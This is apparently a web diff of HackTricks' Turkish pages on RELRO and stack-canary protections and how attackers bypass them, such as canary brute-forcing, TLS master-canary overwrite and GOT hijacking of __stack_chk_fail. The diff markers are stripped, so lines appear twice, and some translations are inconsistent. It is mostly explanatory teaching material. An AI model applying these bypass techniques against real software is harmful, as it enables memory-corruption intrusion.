* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Relro
**RELRO**, **Yer Değiştirme Salt Okunur**'un kısaltmasıdır ve **GOT (Global Offset Table)** üzerine yazma risklerini azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramııklığa kavuşturmak için **Partial RELRO** ve **Full RELRO** olmak üzere iki farklı türüne ayrılabilir.
**RELRO**, **Relocation Read-Only**'nin kısaltmasıdır ve **GOT (Global Offset Table)** üzerine yazma risklerini azaltmak için ikili dosyalarda kullanılan bir güvenlik özelliğidir. Kavramııklığa kavuşturmak için iki farklı türü olan **Partial RELRO** ve **Full RELRO**'yu inceleyelim.
### **Partial RELRO**
**Partial RELRO**, ikili dosyanın performansını önemli ölçüde etkilemeden güvenliği artırmak için daha basit bir yaklaşım benimser. **GOT'yi programın değişkenlerinin üzerine yerleştirerek, Partial RELRO, tampon taşmalarının GOT'a ulaşmasını ve onu bozmasını engellemeyi amaçlar**.&#x20;
**Partial RELRO**, ikili dosyanın performansını önemli ölçüde etkilemeden güvenliği artırmak için daha basit bir yaklaşım benimser. **GOT'yi programın değişkenlerinin bellekte üzerine yerleştirerek, Partial RELRO, tampon taşmalarının GOT'a ulaşmasını ve onu bozmasını engellemeyi amaçlar**.
Bu, **GOT'un** keyfi yazma **zafiyetlerinden** kötüye kullanılmasını **engellemez**.
### **Full RELRO**
**Full RELRO**, **GOT ve .fini\_array** bölümünü tamamen **salt okunur hale getirerek** korumayı artırır. İkili başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, böylece çalışma zamanında herhangi bir değişikliğe izin verilmez.
**Full RELRO**, **GOT ve .fini\_array** bölümünü tamamen **salt okunur** hale getirerek korumayı artırır. İkili dosya başladığında tüm işlev adresleri çözülür ve GOT'a yüklenir, ardından GOT salt okunur olarak işaretlenir, böylece çalışma zamanında herhangi bir değişikliğe izin verilmez.
Ancak, Full RELRO ile performans ve başlatma süresi açısından bir takas yapılır. GOT'u salt okunur olarak işaretlemek için başlangıçta tüm dinamik sembolleri çözmesi gerektiğinden, **Full RELRO etkinleştirilmiş ikili dosyalar daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç maliyeti nedeniyle Full RELRO varsayılan olarak tüm ikili dosyalarda etkinleştirilmez.
Ancak, Full RELRO ile performans ve başlatma süresi arasında bir takas yapılır. GOT'u salt okunur olarak işaretlemek için başlangıçta tüm dinamik sembolleri çözmesi gerektiğinden, **Full RELRO etkinleştirilmiş ikili dosyalar daha uzun yükleme süreleri yaşayabilir**. Bu ek başlangıç maliyeti nedeniyle Full RELRO varsayılan olarak tüm ikili dosyalarda etkinleştirilmez.
Bir ikili dosyada Full RELRO'nun **etkin olup olmadığını** görmek mümkündür:
Bir ikili dosyada Full RELRO'nun **etkinleştirilip** etkinleştirilmediğini görmek mümkündür:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Geçme
## Atlatma
Tam RELRO etkinleştirildiğinde, bunu atlatmanın tek yolu, keyfi yürütme elde etmek için GOT tablosuna yazma gerektirmeyen başka bir yol bulmaktır.

View file

@ -1,34 +1,35 @@
# Stack Canaries
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
- [The PEASS Family](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [NFT'lerimiz](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- 💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live)'ı takip edin.
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}
## StackGuard ve StackShield
## **StackGuard ve StackShield**
**StackGuard**, tampon taşmalarına karşı koruma sağlamak için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan **canary** ekler. Özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()` ve `bcopy()` gibi işlevler savunmasız kalır ve **EBP (Taban İşaretçisi)**'ni korumaz.
**StackGuard**, ırı taşmaları önlemek için **EIP (Genişletilmiş Komut İşaretçisi)**'den önce özel bir değer olan **canary**'yi ekler, özellikle `0x000aff0d` (null, newline, EOF, carriage return'ü temsil eder). Ancak, `recv()`, `memcpy()`, `read()`, ve `bcopy()` gibi fonksiyonlar hala savunmasızdır ve **EBP (Taban İşaretçisi)**'ni korumaz.
**StackShield**, tüm dönüş adreslerini (**EIP'ler**) depolayan bir **Global Return Stack**'i koruyarak StackGuard'dan daha sofistike bir yaklaşım benimser. Bu yapı, taşmaların zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlatılabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir.
**StackShield**, StackGuard'dan daha sofistike bir yaklaşım benimseyerek **Global Return Stack**'i korur, tüm dönüş adreslerini (**EIP'ler**) depolar. Bu yapı, taşmanın zarar vermemesini sağlar, çünkü depolanan ve gerçek dönüş adresleri arasında karşılaştırma yaparak taşma olaylarını tespit etmeyi sağlar. Ayrıca, StackShield, **EIP**'nin beklenen veri alanının dışına işaret ettiğini tespit etmek için dönüş adresini bir sınır değeriyle karşılaştırabilir. Bununla birlikte, Return-to-libc, ROP (Return-Oriented Programming) veya ret2ret gibi tekniklerle bu koruma atlatılabilir, bu da StackShield'ın yerel değişkenleri korumadığını gösterir.
## Stack Smash Koruyucu (ProPolice) `-fstack-protector`:
## **Stack Smash Koruyucu (ProPolice) `-fstack-protector`:**
Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve tamponların diğer değişkenleri üzerine yazmasını önlemek için yerel değişkenleri yeniden düzenler, tamponları daha yüksek bellek adreslerine yerleştirir. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz.
Bu mekanizma, **EBP**'den önce bir **canary** yerleştirir ve yerel değişkenleri yeniden düzenleyerek tamponları daha yüksek bellek adreslerine yerleştirir, böylece diğer değişkenleri üzerine yazmalarını önler. Ayrıca, yığına geçirilen argümanları güvenli bir şekilde kopyalar ve bu kopyaları argüman olarak kullanır. Bununla birlikte, 8'den az öğeye sahip dizileri veya kullanıcının yapısındaki tamponları korumaz.
**Canary**, `/dev/urandom` kaynaklı rastgele bir sayı veya varsayılan değeri olan `0xff0a0000`'den türetilen rastgele bir sayıdır. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarının iş parçacığına özgü küresel veya statik değişkenlere sahip olmasını sağlar. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, yeni bir canary oluşturmadan **`fork()`** kullanılırsa, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır, bu da onu savunmasız hale getirir. **i386** mimarisinde canary `gs:0x14`'te, **x86\_64**'te ise `fs:0x28`'de saklanır.
**Canary**, `/dev/urandom`'dan türetilen rastgele bir sayı veya varsayılan bir değer olan `0xff0a0000`'den gelir. **TLS (İş Parçacığı Yerel Depolama)**'da saklanır ve iş parçacıkları arasında paylaşılan bellek alanlarına iş parçacığı özgü küresel veya statik değişkenlerin olmasını sağlar. Bu değişkenler başlangıçta ebeveyn süreçten kopyalanır ve çocuk süreçler verilerini değiştirebilir ancak ebeveyni veya kardeşleri etkilemez. Bununla birlikte, **`fork()` kullanılarak yeni bir canary oluşturulmadan kullanıldığında, tüm süreçler (ebeveyn ve çocuklar) aynı canary'yi paylaşır**, bu da onu savunmasız hale getirir. **i386** mimarisinde, canary `gs:0x14`'te saklanır ve **x86\_64**'te `fs:0x28`'de saklanır.
Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başına canary yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin başına kod enjekte eder.
Bu yerel koruma, saldırılara açık tamponlara sahip işlevleri tanımlar ve bu işlevlerin başlangıcına canary yerleştirmek ve bütünlüğünü doğrulamak için bu işlevlerin sonuna kod enjekte eder.
Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için kaba kuvvet saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarak saldırıyı etkisiz hale getirebilirsiniz. `vfork()`, çocuk sürecin yazma girişiminde bulunana kadar çoğaltma yapmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur ve işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar.
Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek için bir brute-force saldırısını etkinleştirir. Ancak, `fork()`'ten sonra `execve()` kullanarak hafıza alanını üzerine yazarak saldırıyı etkisiz hale getirebilirsiniz. `vfork()`, çocuk sürecin yazmaya çalışana kadar çoğaltılmadan çalışmasına izin verir, bu noktada bir kopya oluşturulur, işlem oluşturma ve bellek işleme için farklı bir yaklaşım sunar.
### Uzunluklar
@ -37,44 +38,45 @@ Bir web sunucusu `fork()` kullandığında, canary'yi byte byte tahmin etmek iç
`x86` ikili dosyalarında, canary çerezi bir **`0x4`** bayt dword'dür. **İlk üç bayt rastgele** ve son bayt bir **null bayttır**.
{% hint style="danger" %}
Her iki canary'nin en anlamlı baytı bir null bayttır çünkü daha düşük adreslerden gelen yığındaki ilk bayt olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**.
Her iki canary'nin en anlamsız baytı bir null bayttır çünkü daha düşük adreslerden gelen yığındaki ilk bayt olacak ve bu nedenle **dizeleri okuyan işlevler onu okumadan duracak**.
{% endhint %}
## Atlatmalar
**Canary'yi sızdırmak** ve ardından (örneğin tampon taşması ile) kendi değeriyle üzerine yazmak.
**Canary'yi sızdırmak** ve ardından üzerine yazmak (örneğin tampon taşması) (örneğin tampon taşması) kendi değeriyle.
- **Çocuk süreçlerde canary çatallanırsa**, bir byte'ı bir seferde **kaba kuvvetle** tahmin etmek mümkün olabilir:
* **Çocuk süreçlerde canary çatallanırsa**, bir byte'ı bir seferde **brute-force** etmek mümkün olabilir:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
- İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir:
* İkili dosyada ilginç bir **sızıntı veya keyfi okuma açığı** varsa, sızdırmak mümkün olabilir:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
- **Yığına depolanan işaretçileri üzerine yazma**
* **Yığına depolanan işaretçileri üzerine yazma**
Yığına taşma açığı olan yığın, yığın canary'sine ulaşmadan zafiyeti sömürmek için **üzerine yazılabilecek dize veya işlev adresleri içerebilir**. Kontrol edin:
Yığına taşma açığı olan yığın, yığın canary'sine ulaşmadan da kullanılabilecek şekilde **dizelerin veya işlevlerin adreslerini içerebilir**. Yığın canary'sine ulaşmadan zafiyeti sömürmek için bu adreslerin üzerine yazılabilir. Kontrol edin:
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
{% endcontent-ref %}
- **Hem ana hem de iş parçacığı canary'sini değiştirme**
* **Hem ana hem de iş parçacığı canary'sini değiştirme**
Canary ile korunan bir iş parçacığında tampon taşması, iş parçacığının ana canary'sini değiştirmek için kullanılabilir. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz.
Canary ile korunan bir iş parçacığı işlevinde bir tampon **taşması, iş parçacığının ana canary'sini değiştirmek** için kullanılabilir. Sonuç olarak, denetim, aynı olan iki canary ile kullanılan bir denetim olduğundan işe yaramaz hale gelir (ancak değiştirilmiş).
Ayrıca, canary ile korunan bir işlevde tampon taşması, TLS'de saklanan ana canary'yi değiştirmek için kullanılabilir. Bu, iş parçacığının yığınında bir taşma aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür. Sonuç olarak, denetim iki değiştirilmiş canary ile yapıldığından koruma işe yaramaz. Bu saldırı, [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) yazısında gerçekleştirilir.
Ayrıca, canary ile korunan bir iş parçacığı işlevinde bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek** için kullanılabilir. Bu, bir iş parçacığının yığınının bir bof aracılığıyla ulaşılabilir olabileceği bellek konumuna ulaşmak mümkün olduğundan mümkündür. Sonuç olarak, denetim, aynı olan iki canary ile kullanılan bir denetim olduğundan işe yaramaz hale gelir.\
Bu saldırı, [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) yazısında gerçekleştirilir.
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından saklandığını ve bir **iş parçacığının yığını** oluşturulduğunda bunun da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından saklandığını ve bir **iş parçacığının yığını** oluşturulduğunda bunun da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumunu kontrol edin, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
- **`__stack_chk_fail`'in GOT girişini değiştirme**
* **`__stack_chk_fail`'in GOT girişini değiştirme**
İkili dosyanın Kısmi RELRO'ya sahip olması durumunda, **GOT girişini `__stack_chk_fail`'in** bir programı engellemediği sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz.
Eğer ikili dosyanın Partial RELRO'su varsa, o zaman **GOT girişini `__stack_chk_fail`'in** bir programı engellemeyen sahte bir işlev olacak şekilde değiştirmek için keyfi yazma kullanabilirsiniz.
Bu saldırı, [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) yazısında gerçekleştirilir.
## Referanslar
@ -83,16 +85,17 @@ Bu saldırı, [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
{% hint style="success" %}
AWS Hacking'ini öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ini öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# BF Forked & Threaded Stack Canaries
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
**Eğer bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) tarafından korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
**Bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) ile korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
**`checksec`**'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın eğer bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz bunu manuel olarak fark edebilirsiniz.
**`checksec`**'in, bir ikilinin bir canary ile korunduğunu bulamayabileceğini unutmayın, bu durum statik olarak derlenmişse ve işlevi tanımlayamıyorsa.\
Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz, bunu manuel olarak fark edebilirsiniz.
{% endhint %}
## Brute force Canary
Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumda **her yeni bağlantı kurduğunuzda çocuk işlemi çatallandırması** (ağ hizmeti) yapmasıdır, çünkü ona her bağlandığınızda **aynı canary kullanılacaktır**.
Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumdur **her yeni bağlantı kurduğunuzda çocuk işlemleri çatallandırır** (ağ hizmeti), çünkü her bağlandığınızda **aynı canary kullanılacaktır**.
Bu durumda, canary'yi atlatmanın en iyi yolu, sadece **her karakteri brute-force etmek** ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürüp sürdürmediğini kontrol etmektir. Bu örnekte fonksiyon **8 Bayt'lik bir canary'yi brute-force eder (x64)** ve doğru tahmin edilen baytı yanlış bayttan ayırt eder sadece **sunucu tarafından bir yanıtın gönderilip gönderilmediğini kontrol ederek** (diğer durumlarda başka bir yol **try/except** kullanmaktır):
Bu durumda, canary'yi atlatmanın en iyi yolu, canary'yi **her karakteri karakter karakterine zorlamaktır**, ve tahmin edilen canary baytının doğru olup olmadığını anlayabilir ve programın çöktüğünü veya düzenli akışını sürdürdüğünü kontrol ederek. Bu örnekte fonksiyon **8 Bayt canary (x64)**'yi zorlar ve doğru tahmin edilen baytı yanlış bayttan ayırt eder **sunucu tarafından bir yanıt gönderilip gönderilmediğini kontrol ederek** (diğer durumlarda başka bir yol, bir **try/except** kullanmak olabilir):
### Örnek 1
@ -116,15 +117,15 @@ log.info(f"The canary is: {canary}")
```
## İş Parçacıkları
Aynı işlemdeki iş parçacıkları aynı **canary belirteciyi paylaşacak**, bu nedenle saldırı gerçekleştiğinde her seferinde yeni bir iş parçacığı oluşturan ikili bir dosyada bir canary'yi **kaba kuvvet** ile bulmak mümkün olacaktır.&#x20;
Aynı işlemdeki iş parçacıkları aynı **canary belirteci**ni de **paylaşacaklarından**, bu nedenle bir saldırı gerçekleştiğinde ikili her seferinde yeni bir iş parçacığı oluşturan bir ikili varsa bir canary'yi **kaba kuvvet** yöntemiyle bulmak mümkün olacaktır.&#x20;
Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir**. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür (ve dolayısıyla, canary).\
Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan canary'lerle kullanılır (ancak değiştirilmiş).\
Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon **taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir**. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür.\
Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan (ancak değiştirilmiş) iki canary ile yapılır.\
Bu saldırı, şu yazıda gerçekleştirilir: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından depolandığını ve bir **iş parçacığının yığınının oluşturulduğunda** bu yığının da `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
Ayrıca, genellikle **TLS**'nin **`mmap`** tarafından depolandığını ve bir **iş parçacığının yığınının** oluşturulduğunda da buna göre `mmap` tarafından oluşturulduğunu belirten [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.
## Diğer örnekler ve referanslar
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bit, PIE olmayan, nx, BF canary, bazı belleğe `execve`'yi çağırmak için bir ROP yaz ve oraya atla.
* 64 bit, PIE olmadan, nx, BF canary, bazı belleğe `execve`'yi çağırmak için bir ROP yaz ve oraya atla.

View file

@ -1,35 +1,36 @@
# Yığın Canariesini Yazdır
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
